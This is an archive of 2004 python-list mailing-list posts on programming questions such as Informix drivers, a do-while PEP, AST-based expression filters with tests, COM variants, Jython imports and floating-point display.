PS: Try to post in english, nobody will care for occasional mistakes.



From webmaster at ac-strasbourg.fr  Tue Feb 17 11:28:34 2004
From: webmaster at ac-strasbourg.fr (webmaster at ac-strasbourg.fr)
Date: 17 Feb 2004 08:28:34 -0800
Subject: INFORMIX & Python/ZOPE
Message-ID: <92c875f.0402170828.46efe605@posting.google.com>

Hi,

I'm desperatly trying to use Kinfxdb, but I have numerous segmentation
faults, who lead my Zope to crash. It mostly occurs when I try to work
with "date" fields (with an Informix Online database).
I got it here : http://zope.org/Members/papa/
I'm running a RH7.3 Server, with the latest Informix SDK available on
IBM website.

Any idea ? 

Is there another free solution to connect Zope/Python and Informix ?
I've also tried informixdb but it doesn't work that great.

By the way, is there a way to get rid of setting the INFORMIXSERVER as
en ENV variable ? It could be useful to use several servers at a time.

Many thanks for any kind of help !


From mpyle at legato.com  Wed Feb 11 18:01:51 2004
From: mpyle at legato.com (Michael Pyle)
Date: Wed, 11 Feb 2004 15:01:51 -0800
Subject: How to avoid "f.close" (no parens) bug?
Message-ID: <96F3EC4BDF504540BB9715CBE9DACB8B081B0DB2@pa-mail1.legato.com>

We used this to test whether the application was running in the development
environment or "frozen" into an executable. That knowledge in turn was used
to decide whether to create the "Debug" menu and allow certain command line
parameters. Very handy.

try:
	sys.frozen
except AttributeError:
	options.append( 'debug-on' )

--mike
	

-----Original Message-----
From: Neil Hodgson [mailto:nhodgson at bigpond.net.au] 
Sent: Wednesday, February 11, 2004 1:28 PM
To: python-list at python.org
Subject: Re: How to avoid "f.close" (no parens) bug?


Batista, Facundo:

> Why "appears"?
>
> There is any case when f.close, or bar or something like "not a call 
> to a function (there is no ')'), with no '=' at the left or at the 
> right" has
any
> effect?

   I have seen this used as a test. Simplified:

try:
    f.close
except AttributeError:
    f.close = makeAMethod()

   Neil


-- 
http://mail.python.org/mailman/listinfo/python-list
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From http  Wed Feb 18 01:35:17 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 22:35:17 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <7x65e4j3oa.fsf@ruckus.brouhaha.com>

"Andrew Koenig" <ark at acm.org> writes:
> PEP 315 suggests that a statement such as
> 
>     do:
>         x = foo()
>     while x != 0:
>         bar(x)

I'm still scratching my head over that PEP.  Got a real-world code sample
that it would improve?


From rogerb at rogerbinns.com  Thu Feb 26 04:06:30 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Thu, 26 Feb 2004 01:06:30 -0800
Subject: xmlprclib/server not reusing connections
References: <spv8g1-fev.ln1@home.rogerbinns.com><mailman.6.1077573113.8594.python-list@python.org><nfgqg1-gh4.ln1@home.rogerbinns.com>	<mailman.24.1077596109.8594.python-list@python.org>
	<tn5rg1-986.ln1@home.rogerbinns.com>
	<403BF010.2020409@stackless.com>
	<007601c3fb46$f917b9b0$3501a8c0@rogersqyvr14d3>
	<403C1159.8090806@stackless.com>
Message-ID: <004201c3fc47$d2b39d50$3501a8c0@rogersqyvr14d3>

> It works just *great* with wxPython. There are a few objects
> which need a little care since they only live on the C stack
> (mouse events for instance),

I don't understand how that is relevant.  Do I have to recompile
wxPython to use stackless?  You also didn't mention anything
about the other libraries (win32all, pySerial, m2crypto, libusb)

Also, does stackless work with threads?  I use a seperate
thread to do serial port stuff, and need to have the user
interface running at the same time.  The serial port stuff
consists of reads with 5 second timeouts (the GIL is released
during the read).

Roger



From fumanchu at amor.org  Fri Feb 27 16:47:44 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Fri, 27 Feb 2004 13:47:44 -0800
Subject: what is the ordering of an AST tree?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561DD2@opus.amorhq.net>

Stephen Emslie wrote:
> When one creates an AST tree using the compiler module, what 
> order is the tree created in? In other words, are the
> ordering of the nodes in the tree the same as the
> flow of the program?

In my experience (_not_ analysis ;)..yes--it's in the same order. Here's
the deriver module I ended up with last week, and some unittests which
demonstrate that, for simple expressions, at least, order is preserved.

----derive.py----

import compiler
import operator

class Expression(unicode):
    """A Python expression."""
    
    rootnode = None
    
    def __new__(cls, arg=u''):
        return unicode.__new__(cls, arg)
    
    def __init__(self, arg=u''):
        self.rootnode = compiler.parse(arg).node
    
    def evaluate(self, processor):
        return processor.evaluate(self)


class Eval(object):
    """Filters Python objects according to an Expression.
    
    Objects of Name 'x' in the Expression will be replaced with the
    specified object.
    """
    def evaluate(self, expr, obj):
        if expr:
            return [eval(expr, globals(), {'x': obj})]
        else:
            return [True]


class Processor(object):
    """A base class for preorder processing of compiler.AST nodes."""
    
    def process(self, node):
        name = node.__class__.__name__
        # Let attribute errors propagate outward.
        visitFunc = getattr(self, 'visit' + name)
        return visitFunc(node)
    
    def _walk(self, node, childattr=None):
        if childattr is None:
            nodes = node.getChildNodes()
        else:
            nodes = getattr(node, childattr)
        return [self.process(child) for child in nodes]
    
    def evaluate(self, expr):
        if not isinstance(expr, Expression):
            expr = Expression(expr)
        return self.process(expr.rootnode)


class Filter(Processor):
    """Filters Python objects according to compiler.AST nodes."""
    
    comparisons = {'<': operator.lt,
                   '<=': operator.le,
                   '==': operator.eq,
                   '!=': operator.ne,
                   '>': operator.gt,
                   '>=': operator.ge,
                   'in': lambda x, y: x in y,
                   }
    
    def __init__(self, namespace):
        self.namespace = namespace
    
    def visitAnd(self, node):
        for atom in self._walk(node):
            if not atom:
                return False
        return True
    
    def visitOr(self, node):
        for atom in self._walk(node):
            if atom:
                return True
        return False
    
    def visitNot(self, node):
        return (not self.process(node.expr))
    
    def visitUnarySub(self, node):
        return -(self.process(node.expr))
    
    def visitCompare(self, node):
        op, operand = node.ops[0]
        opFunc = self.comparisons[op]
        a = self.process(node.expr)
        b = self.process(operand)
        return opFunc(a, b)
    
    def visitGetattr(self, node):
        obj = self.process(node.expr)
        return getattr(obj, node.attrname)
    
    def visitName(self, node):
        return self.namespace[node.name]
    
    def visitConst(self, node):
        return node.value
    
    def visitTuple(self, node):
        return tuple(self._walk(node))
    
    def visitList(self, node):
        return self._walk(node)
    
    def visitCallFunc(self, node):
        args = ()
        if node.args:
            args = tuple(self._walk(node, 'args'))
        if node.star_args:
            args += tuple(self._walk(node, 'star_args'))
        
        kwargs = {}
        if node.dstar_args:
            for child in self._walk(node, 'dstar_args'):
                kwargs.update(child)
        
        callFunc = self.process(node.node)
        return callFunc(*args, **kwargs)
    
    def visitKeyword(self, node):
        return {node.name: self.process(node.expr)}
    
    def visitDiscard(self, node):
        return self.process(node.expr)
    
    def visitStmt(self, node):
        if node.nodes:
            return self._walk(node, 'nodes')
        else:
            return [True]


class Deriver(Processor):
    """Derives Python code from compiler.AST nodes."""
    
    def visitAnd(self, node):
        return ' and '.join(["(" + x + ")" for x in self._walk(node)])
    
    def visitOr(self, node):
        return ' or '.join(["(" + x + ")" for x in self._walk(node)])
    
    def visitNot(self, node):
        return "not (" + self.process(node.expr) + ")"
    
    def visitUnarySub(self, node):
        return "-" + self.process(node.expr)
    
    def visitCompare(self, node):
        op, operand = node.ops[0]
        return (self.process(node.expr)
                + " " + op + " "
                + self.process(operand))
    
    def visitGetattr(self, node):
        return self.process(node.expr) + "." + node.attrname
    
    def visitName(self, node):
        return node.name
    
    def visitConst(self, node):
        return repr(node.value)
    
    def visitTuple(self, node):
        return "(" + ", ".join(self._walk(node)) + ")"
    
    def visitList(self, node):
        return "[" + ", ".join(self._walk(node)) + "]"
    
    def visitCallFunc(self, node):
        callFunc = self.process(node.node)
        
        atoms = []
        if node.args:
            atoms.extend(self._walk(node, 'args'))
        if node.star_args:
            atoms.extend(self._walk(node, 'star_args'))
        if node.dstar_args:
            atoms.extend(self._walk(node, 'dstar_args'))
        return callFunc + "(" + ", ".join(atoms) + ")"
    
    def visitKeyword(self, node):
        return node.name + "=" + self.process(node.expr)
    
    def visitDiscard(self, node):
        return self.process(node.expr)
    
    def visitStmt(self, node):
        return "; ".join(self._walk(node, 'nodes'))


----derive_test.py----

import unittest
from test import test_support
import derive

class Dummy(object):
    pass

class ExprTests(unittest.TestCase):
    
    def test_Filter(self):
        x = Dummy()
        x.a = 3
        x.b = 5
        e = derive.Expression('x.a == 3 and (x.b > 1 or x.b < -1)')
        self.assertEqual(derive.Filter(locals()).evaluate(e), [True])
        
        x.b = 0
        self.assertEqual(derive.Filter(locals()).evaluate(e), [False])
        
        x.Name = 'a fishy consignment'
        x.Content = 'sea-bass'
        e = derive.Expression("'fish' in x.Name or 'slap' in x.Content")
        self.assertEqual(derive.Filter(locals()).evaluate(e), [True])
    
    def test_Deriver(self):
        e = derive.Expression("(x.a == 3 and (x.b > 1 or x.b < -10))")
        d = derive.Deriver().evaluate(e)
        self.assertEqual(d, u'(x.a == 3) and ((x.b > 1) or (x.b <
-10))')
        
        # Try an alternate version of the same expression.
        e = derive.Expression("(x.a == 3) and ((x.b > 1) or (x.b <
-10))")
        d = derive.Deriver().evaluate(e)
        self.assertEqual(d, u'(x.a == 3) and ((x.b > 1) or (x.b <
-10))')
        
        # Test the empty Expression.
        e = derive.Expression()
        self.assertEqual(derive.Deriver().evaluate(e), u'')


if __name__ == "__main__":
    test_support.run_unittest(ExprTests)




Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From ketulp_baroda at yahoo.com  Fri Feb 27 11:47:04 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 27 Feb 2004 08:47:04 -0800
Subject: Is MVC architecture applicable for web environment??
References: <f046efac.0402260204.2ed4588b@posting.google.com>
	<283adf56.0402260943.73bb05fb@posting.google.com>
Message-ID: <f046efac.0402270847.5ecf7109@posting.google.com>

kdahlhaus at yahoo.com (Kevin Dahlhausen) wrote in message news:<283adf56.0402260943.73bb05fb at posting.google.com>...
> This caused me a lot of frustation when I moved to a java development
> house.  What  most people call MVC in relation to web based apps is
> not what the traditional MVC is in the sense of OWL, Fresco, and the
> like.  ( I've noticed in the java world that pundits tend to grasp a
> concept, skew it, and promote it.)
> 
> People are actually referring to the common notion of a layered model
> where there's a domain or persistence layer, 'controller' code that
> manages flow of the pages and marshalling and unmarshalling web-form
> data to domain objects, and a 'view' layer that is often the
> templating system or server-pages.
> 
> It works well enough, especially on larger projects, I just wish it
> were called something other than MVC.
> 
> 
> 
> ketulp_baroda at yahoo.com wrote in message news:<f046efac.0402260204.2ed4588b at posting.google.com>...
> > Hi
> > Is the true mvc architecture ( with observer-observable pattern as
> > implemented in JAVA) not applicable for web environment??
> > I mean to say that the HTTP protocol is request/response based so
> > there is no notion of an "event" being notified ...
> > whereas the observer-observable pattern is based on event.

Hi
I want to know wheteher observer-observable pattern is applicable for
web environment?? I mean to say that the HTTP protocol is
request/response based so
there is no notion of an "event" being notified ...
whereas the observer-observable pattern is based on event.


From aichia77 at yahoo.com  Sun Feb 29 19:33:45 2004
From: aichia77 at yahoo.com (Annie)
Date: 29 Feb 2004 16:33:45 -0800
Subject: Python COM Variant problem
References: <b9942658.0402270131.624a8492@posting.google.com>
	<4040de8f_1@127.0.0.1>
Message-ID: <b9942658.0402291633.542752e0@posting.google.com>

hi Roger,
  10s for replying..
  i do running the makepy on that typelib. but can u pls teach me on
how to include to my Python program??
  10s in advance

  
"Roger Upole" <rupole at hotmail.com> wrote in message news:<4040de8f_1 at 127.0.0.1>...
> Try running makepy on the typelib that contains the objects.
> Also, the actual error msg that if fails with would be helpful.
>        Roger
> 
> "Annie" <aichia77 at yahoo.com> wrote in message
> news:b9942658.0402270131.624a8492 at posting.google.com...
> > I am trying to call a COM object which expects a variant datatype to
> > be passed in to the COM API object. However, I get "<COMObject
> > <unknown>>" and the program fails.
> >
> > Below is my code in Python, and the same code in VB which is working
> > fine...
> >
> > I guess this is a variant problem with python? How can I make this
> > work? Would appreciate if someone can guide me as I am a python
> > newbie... :-)
> >
> > Thanks very much...
> >
> > ##In Python
> > def setAddOnValue(oBusObj
> >     oAddOns = oBusObj.AddOns
> >     print oAddOns #returns "<COMObject <unknown>>"
> >     print oAddOns.Count #return 3
> >     for x in range(1, oAddOns.Count):
> >         oAddOn = oAddOns.Item(x) #expects variant datatype for the x
> > variable
> >
> >
> >
> > ##In VB
> > Public Function setAddOnValue(oBusObj As Variant, strAddOnLabel As
> > String, strPropLabel As String, oVal As Variant) As Boolean
> >     Dim x, y
> >     Dim oAddOns As CAddOns
> >     Dim oAddOn As CAddOn
> >     Dim oAddOnValues As CAddOnValues
> >     Dim oAddOnValue As CAddOnValue
> >
> >     setAddOnValue = False
> >     Set oAddOns = oBusObj.AddOns
> >
> >     For x = 1 To oAddOns.Count
> >         Set oAddOn = oAddOns.Item(x)
> >         If oAddOn.AddOnName = strAddOnLabel Then
> >             Set oAddOnValues = oAddOn.AddOnValues
> >             For y = 1 To oAddOnValues.Count
> >                 Set oAddOnValue = oAddOnValues.Item(y)
> >                 If oAddOnValue.PropertyLabel = strPropLabel Then
> >                     setAddOnValue = True
> >                     Set oAddOnValue.Data = oVal
> >                     Exit For
> >                 End If
> >             Next y
> >         End If
> >         If setAddOnValue = True Then
> >             Exit For
> >         End If
> >     Next x
> > End Function


From ykingma at accessforall.nl  Sat Feb 14 09:25:22 2004
From: ykingma at accessforall.nl (Ype Kingma)
Date: Sat, 14 Feb 2004 15:25:22 +0100
Subject: jython import
References: <283adf56.0402131222.fd998c0@posting.google.com>
Message-ID: <402e2fd2$0$569$e4fe514c@news.xs4all.nl>

Kevin Dahlhausen wrote:

> Been digging and could not find the answer to this.
> I'd be very grateful if someone could help.
> 
> I can't import a class from a packackge that is nested:
> --
> import sys
> sys.path.append("hsqldb.jar")
> import org.hsqldb
> 
> print dir(org.hsqldb)
> v = org.hsqldb.View()
> --
> The output is a the dir listing of hsqldb, including View, and the
> following error:
> 
> File "test.py", line 6, in ?
> AttributeError: java package 'org.hsqldb' has no attribute 'View'
> Signal 127
> 
> 51 /testing:

It should work when the class is public.
Is the View class private or package private in package org.hsqldb?

You can make jython look into java private things by
setting python.security.respectJavaAccessibility to false in
jython's registry:
http://www.jython.org/docs/registry.html

It's better to respect java accessibilty, though.

Regards,
Ype

-- 
email at xs4all.nl


From gsmith at oxfam.org.uk  Tue Feb  3 06:18:14 2004
From: gsmith at oxfam.org.uk (Graham)
Date: Tue, 3 Feb 2004 11:18:14 -0000
Subject: Variable scope within a class
References: <401f72f4$0$9388$ed9e5944@reading.news.pipex.net>
Message-ID: <401f828b$0$9389$ed9e5944@reading.news.pipex.net>

Thanks Gerrit and Nuff Said.  Very helpful indeed.

Graham




From bart_nessux at hotmail.com  Sun Feb 29 11:51:54 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Sun, 29 Feb 2004 11:51:54 -0500
Subject: emulate a key press
Message-ID: <c1t56d$1hl$1@solaris.cc.vt.edu>

This probaly isn't possible with Python, but I thought I'd ask.

I want to emulate a key press programatically. I want the computer (G5
running Mac OSX 10.3) to think that the user has pressed the space bar on
the keyboard. Any module in Python that makes this easy? If not, I'll do
something in C.


From ch.pingel at web.de  Thu Feb  5 13:00:00 2004
From: ch.pingel at web.de (Christoph Pingel)
Date: Thu, 5 Feb 2004 19:00:00 +0100
Subject: Python can't divide??!?!
In-Reply-To: <E1AonZY-0003kM-Tv.2004-02-05-17-45-53@tmailb1.svr.pol.co.uk>
References: <E1AonZY-0003kM-Tv.2004-02-05-17-45-53@tmailb1.svr.pol.co.uk>
Message-ID: <p05010400bc4834ab5518@[80.139.44.101]>

Same here, on Mac OS 9:

Python 2.3 (#155, Jul 30 2003, 23:48:32)  [CW] on mac
Type "copyright", "credits" or "license" for more information.
>>>  2.4/4
0.59999999999999998
>>>




>3 / 5        0                       Fair enough, int / int = int
>3 / 5.0      0.59999999999999998     eh?
>3.0 / 3      0.59999999999999998     ummmm...
>3.0 / 5.0    0.59999999999999998     how did I guess...
>
>That's just an example. Python cannot divide. Period. If you try 1.0 / 3 you
>get 0.33333333333333331, and from this, the above example, and a few tests,
>I speculate that *something* is subtracting 2 from the last digit *after*
>the division is done.
>
>Wacky.



From jaymobile at indiatimes.com  Sun Feb  8 05:03:29 2004
From: jaymobile at indiatimes.com (jsimha_makineni)
Date: Sun,  8 Feb 2004 04:03:29 -0600
Subject: [XPOST] [REQ] open source multimedia authoring tools? In python
	maybe?
References: <bobusm$1bv5gd$1@ID-24403.news.uni-berlin.de>
	<rq3lqvkkjv0vu6n10m78plandaa7e7dm16@4ax.com>
	<boe4s1$1e0pjn$1@ID-24403.news.uni-berlin.de>
	<1f6lqvsiv5ag0bkm0t9knefgrhetfcr8ro@4ax.com>
	<boe851$1d3a14$1@ID-24403.news.uni-berlin.de>
	<54alqv0pfjqp540bb04vugjnk6rlqq227u@4ax.com>
Message-ID: <6063c3aef7e8ee244e1b6b8a9a309593@localhost.talkaboutprogramming.com>

Hi Kevin,

I am on the look out for an open source multimedia authoring tool written in Python that is comparable to javanti (www.javanti.org). Please let me know if you are aware of any.

cheers,
jay



From ilyak at red.seas.upenn.edu  Mon Feb 23 22:14:56 2004
From: ilyak at red.seas.upenn.edu (Ilya Knizhnik)
Date: Tue, 24 Feb 2004 03:14:56 +0000 (UTC)
Subject: unicode and mysql
Message-ID: <c1efjg$dg3k$1@netnews.upenn.edu>

I didn't realize that the problem isn't in the mysqldb its elsewhere where I tried to 
store the query as a string and then execute it.


From sigurd at 12move.de  Mon Feb  2 13:41:13 2004
From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Mon, 02 Feb 2004 19:41:13 +0100
Subject: assignment statements: lists vs. strings
References: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>
Message-ID: <m37jz5l4ji.fsf@hamster.pflaesterer.de>

On  2 Feb 2004, Klaus Neuner <- klaus_neuner82 at yahoo.de wrote:

> I would like to understand the reason for the following difference
> between dealing with lists and dealing with strings: What is this
> difference good for? How it is accounted for in Python slang?

Strings are immutable and lists are mutable objects.

>>>> string1 = "bla"
>>>> string2 = string1
>>>> string1 = string1 + "bla"

Here you create a new string string1 which is fresh allocated.
>>>> string1
> 'blabla'
>>>> string2
> 'bla'

If you did `id(string1)' and `id(string2)' before and after the
assignment you would have that after the assignment you had two
different objects.

>>>> list1 = [1,2]
>>>> list2 = list1
>>>> list1.append(1)

Here you modify an existing list in place.  But that's not the same as
you did with your string exapmle.  With a string you couldn't do that
since a string is immutable.

If you had written list1 = list1 + [1] you would have had a new list
object.

>>> L1 = [1,2]
>>> L2 = L1
>>> id(L1)
10489068
>>> id(L2)
10489068
>>> L1 = L1 + [1]
>>> id(L1)
10488140
>>> id(L2)
10489068
>>> L2
[1, 2]
>>> L1
[1, 2, 1]
>>> 


   KP

-- 
If you have nothing to say on a subject, replying with a line such as,
"I agree with this." puts you in the TO:'s for all future messages, and
establishes you as "one who really cares", if not an actual expert, on
the topic at hand.         -- from the Symbolics Guidelines for Sending Mail


From kbk at shore.net  Fri Feb  6 09:58:50 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Fri, 06 Feb 2004 14:58:50 GMT
Subject: Python can't divide??!?!
References: <mailman.1252.1076003166.12720.python-list@python.org>
Message-ID: <87y8rgjlue.fsf@hydra.localdomain>

"Dan Williams" <dan at ithium.net> writes:

> Fire up python or whatever.
>
> Do this:     Result:
>
> 3 / 5        0                       Fair enough, int / int = int
> 3 / 5.0      0.59999999999999998     eh?
> 3.0 / 3      0.59999999999999998     ummmm...
> 3.0 / 5.0    0.59999999999999998     how did I guess...
>

>>> print 3.0 / 5
0.6
>>> print (3.0 / 5)
0.6
>>> print (3.0 / 5, 3.0 / 5)
(0.59999999999999998, 0.59999999999999998)
>>> 

[...]

> Wacky.

:-)

-- 
KBK


From newsgroups at jhrothjr.com  Fri Feb 13 10:16:57 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Fri, 13 Feb 2004 10:16:57 -0500
Subject: 6 Qustions about Python: Does it do GUI?  more...
References: <mailman.11.1076682913.31398.python-list@python.org>
Message-ID: <102pqn1cls6vde0@news.supernews.com>


"Will" <k4bda at yahoo.com> wrote in message
news:mailman.11.1076682913.31398.python-list at python.org...
> I just discovered Python and looked briefly at one of the tutorials
> for beginners...
>
> It looks a lot like the old Command line Basic... I'm sure it does
> much more but...
>
> 1 - Can you create windows, buttons, user input fields, etc as you
> can with Visual Basic?

Yes and no. Yes, you can use one of several GUI toolkits
(an interface to TK comes with Python) to construct user
interfaces. No, it does not have the ease of drag and drop
building UI and data base programs that VB does.

> 2 - Can you call Windows Procedures or what ever they call them
> these days?

With some work, yes. There are several extensions for that.

> 3 - Can you create your own objects with a bunch of methods and
> properties?

That's how you program in Python, after all.

> 4 - Can you create a Windows program that looks and feels like a
> Windows program?

If you want to. It's possible to access the Windows graphics API,
but it's not really the easiest thing to do. Most people will use
one of the other graphics toolkits.

> 5 - Does it come with a compiler or must the user have the
> interpreter on their machine?

No compiler, but there are ways of avoiding having to install
the interpreter as a separate step.

> 6 - Why another language? Easier than C or C++ or Visual C ?? More
> powerful than Visual Basic or the competing Borland productg?? Why
> Python?

There's a Python history somewhere; it started out as the scripting
language for an operating system research project at a university in
the Netherlands. As a language, it tries to maintain a productive
balance between simplicity and power in an OO framework.

> I'm interested as I never really took the time to become much of a C
> programmer (or C++ or Visual C) - I've done lot's of assembly
> language/embedded processor stuff & years ago Basic and some Visual
> Basic... before .net... and wondered if Python would do me for some
> projects I have always wanted to do?

Unless they are really unusual projectes, most likely.

> Thanks for any info.

You're welcome.

>
> Will
>
>
>




From post400 at prontomail.com  Mon Feb 16 16:13:06 2004
From: post400 at prontomail.com (post400)
Date: 16 Feb 2004 13:13:06 -0800
Subject: the best book for learning python !?
Message-ID: <b15d2792.0402161313.6902cc27@posting.google.com>

Hi ,

I was just wondering ( yeah I know it's not the first time this
question pops up )
what would be the best 2 or 3 books for someone who wants to learn
Python , already experienced in other non-OOP languages .It takes time
to browse endlessly on the net , in a bookshop or a library for THOSE
books that are really useful !

Thanks ,
post400


From rotzjes at wanadoo.nl  Thu Feb 26 18:53:10 2004
From: rotzjes at wanadoo.nl (Bennie)
Date: Fri, 27 Feb 2004 00:53:10 +0100
Subject: PyXML, Sax, error in processing external entity reference
In-Reply-To: <c1j2q8$6pb$1$8300dec7@news.demon.co.uk>
References: <c1j2q8$6pb$1$8300dec7@news.demon.co.uk>
Message-ID: <403e86ee$0$2421$4a441750@news.euronet.nl>

David Dorward wrote:
> I'm attempting to read an XHTML 1.1 file[1], perform some DOM manipulation,
> then write the results to a different file.
> 
> I've found myself rather stuck at the first hurdle.
> 
> I have the following:
> 
> from xml.dom.ext.reader import Sax2
> reader = Sax2.Reader()
> f = open('dorward.me.uk/sitemap.html', 'r')
> doc = reader.fromStream(f)
> 
> (dorward.me.uk/sitemap.html being a local copy of
> http://dorward.me.uk/sitemap.html)
> 
> ... which outputs the following:
> 
> Traceback (most recent call last):
>   File "x.py", line 4, in ?
>     doc = reader.fromStream(f)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/dom/ext/reader/Sax2.py",
> line 372, in fromStream
>     self.parser.parse(s)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/sax/expatreader.py", line
> 109, in parse
>     xmlreader.IncrementalParser.parse(self, source)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/sax/xmlreader.py", line
> 123, in parse
>     self.feed(buffer)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/sax/expatreader.py", line
> 220, in feed
>     self._err_handler.fatalError(exc)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/dom/ext/reader/Sax2.py",
> line 340, in fatalError
>     raise exception
> xml.sax._exceptions.SAXParseException:
> http://www.w3.org/TR/xhtml-modularization/DTD/xhtml-notations-1.mod:115:0:
> error in processing external entity reference
> 
> I'm not sure where I should proceed from here. Is it a bug in my code? In
> PyXML? In the DTD itself? What should I do next?
> 
> Thanks.
> 
> [1] Actually, lots of files, but one at a time.
> 
I think you need a parser
 >>>import xml.sax
 >>>parser = xml.sax.make_parser()
 >>>file = "dorward.me.uk/sitemap.html"
 >>>parser.parse(file)

How furder I don't now, I'am stuck to!

Try the 'http://pyxml.sourceforge.net/topics/howto/xml-howto.html'site.

Bennie,


From danb_83 at yahoo.com  Tue Feb 17 20:44:38 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 17 Feb 2004 17:44:38 -0800
Subject: PEP-315 ("do" loop)
References: <0F705920-60F0-11D8-BE5B-000A959CB2EC@netmail.to>	<4032385D.6030003@prescod.net>
	<mailman.78.1077041293.31398.python-list@python.org>
Message-ID: <ad052e5c.0402171744.77222e2@posting.google.com>

Wayne Folta <wfolta at netmail.to> wrote in message news:<mailman.78.1077041293.31398.python-list at python.org>...
> > until x <==> while not x

> but at the same time my spider senses were telling me that surely a 
> language wouldn't reserve a keyword "until" to simply save someone from 
> typing "while not". (Of course, a language like perl might well do this, 

Microsoft QBasic did.  It allowed all four of the constructs

' pretest loops
DO WHILE condition...LOOP
DO UNTIL condition...LOOP
' posttest loops
DO...LOOP WHILE condition
DO...LOOP UNTIL CONDITION

> At the very least I'd say that you need to choose a word other than 
> "while" to avoid this kind of confusion. For example, "do ... until 
> ..." loop where "until" <==> "while not" so that you know immediately 
> what's going on. Otherwise, when you see a "while", you're never sure 
> what kind of loop it is until you look above it and determine it's not 
> a "do while".

I agree.

In a similar discussion a while (no pun intended) back, I suggest
adding a keyword like "posttest" to the current while loop syntax. 
Unfortunately, it wouldn't easily extend to the "loop and a half"
construct.


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Mon Feb 23 17:19:48 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Mon, 23 Feb 2004 23:19:48 +0100
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
In-Reply-To: <mailman.0.1077567184.8594.python-list@python.org>
References: <mailman.0.1077567184.8594.python-list@python.org>
Message-ID: <403a7c84$0$565$e4fe514c@news.xs4all.nl>

Mike Maxwell wrote:

> that (actually, I translate ^D into a sequence of "cursor downs"), and
> hitting the Ctrl-D key therefore does not drop me out of Python.  More
> generally, it is probably not uncommon for someone to translate ^D into
> something else, using xmodmap or some such.  I need to kill the entire
> X-terminal to stop Python.

How the hell do you send a EOF then, to the many other applications that
read from stdin until EOF? (such as most standard unix tools)

(Also see Peter's reply.)

--Irmen


From cpl.19.ghum at spamgourmet.com  Wed Feb  4 10:23:28 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Wed, 4 Feb 2004 16:23:28 +0100
Subject: self-extracting installators in Python?
References: <bvourc$d4r$1@atlantis.news.tpi.pl>
	<8089854e.0402040053.2c34d0d3@posting.google.com>
Message-ID: <Xns9485A8296FB5Ccpl19ghumspamgourmet@62.153.159.134>

 
>> all files chosen by a user into a self-extracting.exe so that when
>> you click on it, it will extract the files and run setup.exe which

> used to make self-installing packages and is free too use and
> distribute (to the best of my knowledge..).

and with py2exe 0.5.0 a sample is provided to immediately drive innosetup 
from python. It is superb

one setup.py, one "F5" in Scite, and a distributable setup.exe is build & 
compressed (even with bz2 compression)

REALLY great.





From michael at hobbshouse.org  Thu Feb 19 17:34:06 2004
From: michael at hobbshouse.org (Michael Hobbs)
Date: Thu, 19 Feb 2004 16:34:06 -0600
Subject: Table Oriented Programming
In-Reply-To: <3db247c2.0402130331.3b7f44d4@posting.google.com>
Message-ID: <002501c3f738$7f924ef0$0a0aa8c0@mikesmonster>

Hey, not too bad! I guess that demonstrates that converting an
arithmetic expression to SQL isn't impossible. However, there are a few
issues with the system that I haven't entirely resolved yet.

1) Name conflict. If DepartmentTable and EmployeeTable both have a
column named "name" and I have this statement:
   empDepts = (deptTbl * empTbl) / (deptTbl.dept == empTbl.dept)
How would you access the department name vs. the employee name in the
"empDepts" result? Some ideas that I've come up with:
1a) empDepts.deptTbl.name vs. empDepts.empTbl.name. This isn't so great
since you need to keep track of the names of the variables or tables
that were used to generate the result. It could also lead to some rather
deep nesting if empDepts is later used in another query.
1b) Throw an exception. This will force the developer to rename at least
one of the columns in the result. This solution is probably better of
the two, even though it isn't convenient for the developer.

2) No provision for GROUP BY. Even though summary information can be
calculated by the client just as easily as it can be calculated by the
DB engine, there are some calculations that are done *much* faster by
the DB engine if it has appropriate indexes. For example, this query can
be calculated fairly quickly by a DB server, no matter how many rows are
in the tables:
  SELECT department.dept, MAX(salary)
  FROM department, employee
  WHERE department.dept = employee.dept
  GROUP BY department.dept
I'm not sure how such a query might be represented arithmetically. Here
are a couple of ideas using ">>" to signify GROUP BY:
  (deptTbl * empTbl) / (deptTbl.dept = empTbl.dept) 
      >> deptTbl.dept % (deptTbl.dept, empTbl.salary.max)
  (deptTbl * empTbl) / (deptTbl.dept = empTbl.dept)
      % (deptTbl.dept, empTbl.salary) >> deptTbl.dept(identity, max)
The first statement specifies the grouping first and then states how the
columns should be extracted from the groupings. The second statement
specifies which columns to return first and then specifies how to
summarize the columns in a grouping. I think I like the second way
better, because it lets you decompose the statement easier. For example:
  deptSalaries = (deptTbl * empTbl) / (deptTbl.dept = empTbl.dept)
      % (deptTbl.dept, empTbl.salary)
  maxDeptSalaries = deptSalaries >> deptSalaries.dept(identity, max)
Each line in the above example makes sense. However, if we try to
decompose it like this, the result of the first line makes no sense
because it specifies a grouping but doesn't say how to summarize all of
the columns in the result:
  grpDeptSalaries = (deptTbl * empTbl) / (deptTbl.dept = empTbl.dept)
      >> deptTbl.dept
  maxDeptSalaries = grpDeptSalaries % (deptTbl.dept, empTbl.salary.max)


Just brainstorming,
- Michael Hobbs


> -----Original Message-----
> From: python-list-bounces+michael=hobbshouse.org at python.org
> [mailto:python-list-bounces+michael=hobbshouse.org at python.org] On
Behalf
> Of Yermat
> Sent: Friday, February 13, 2004 05:32
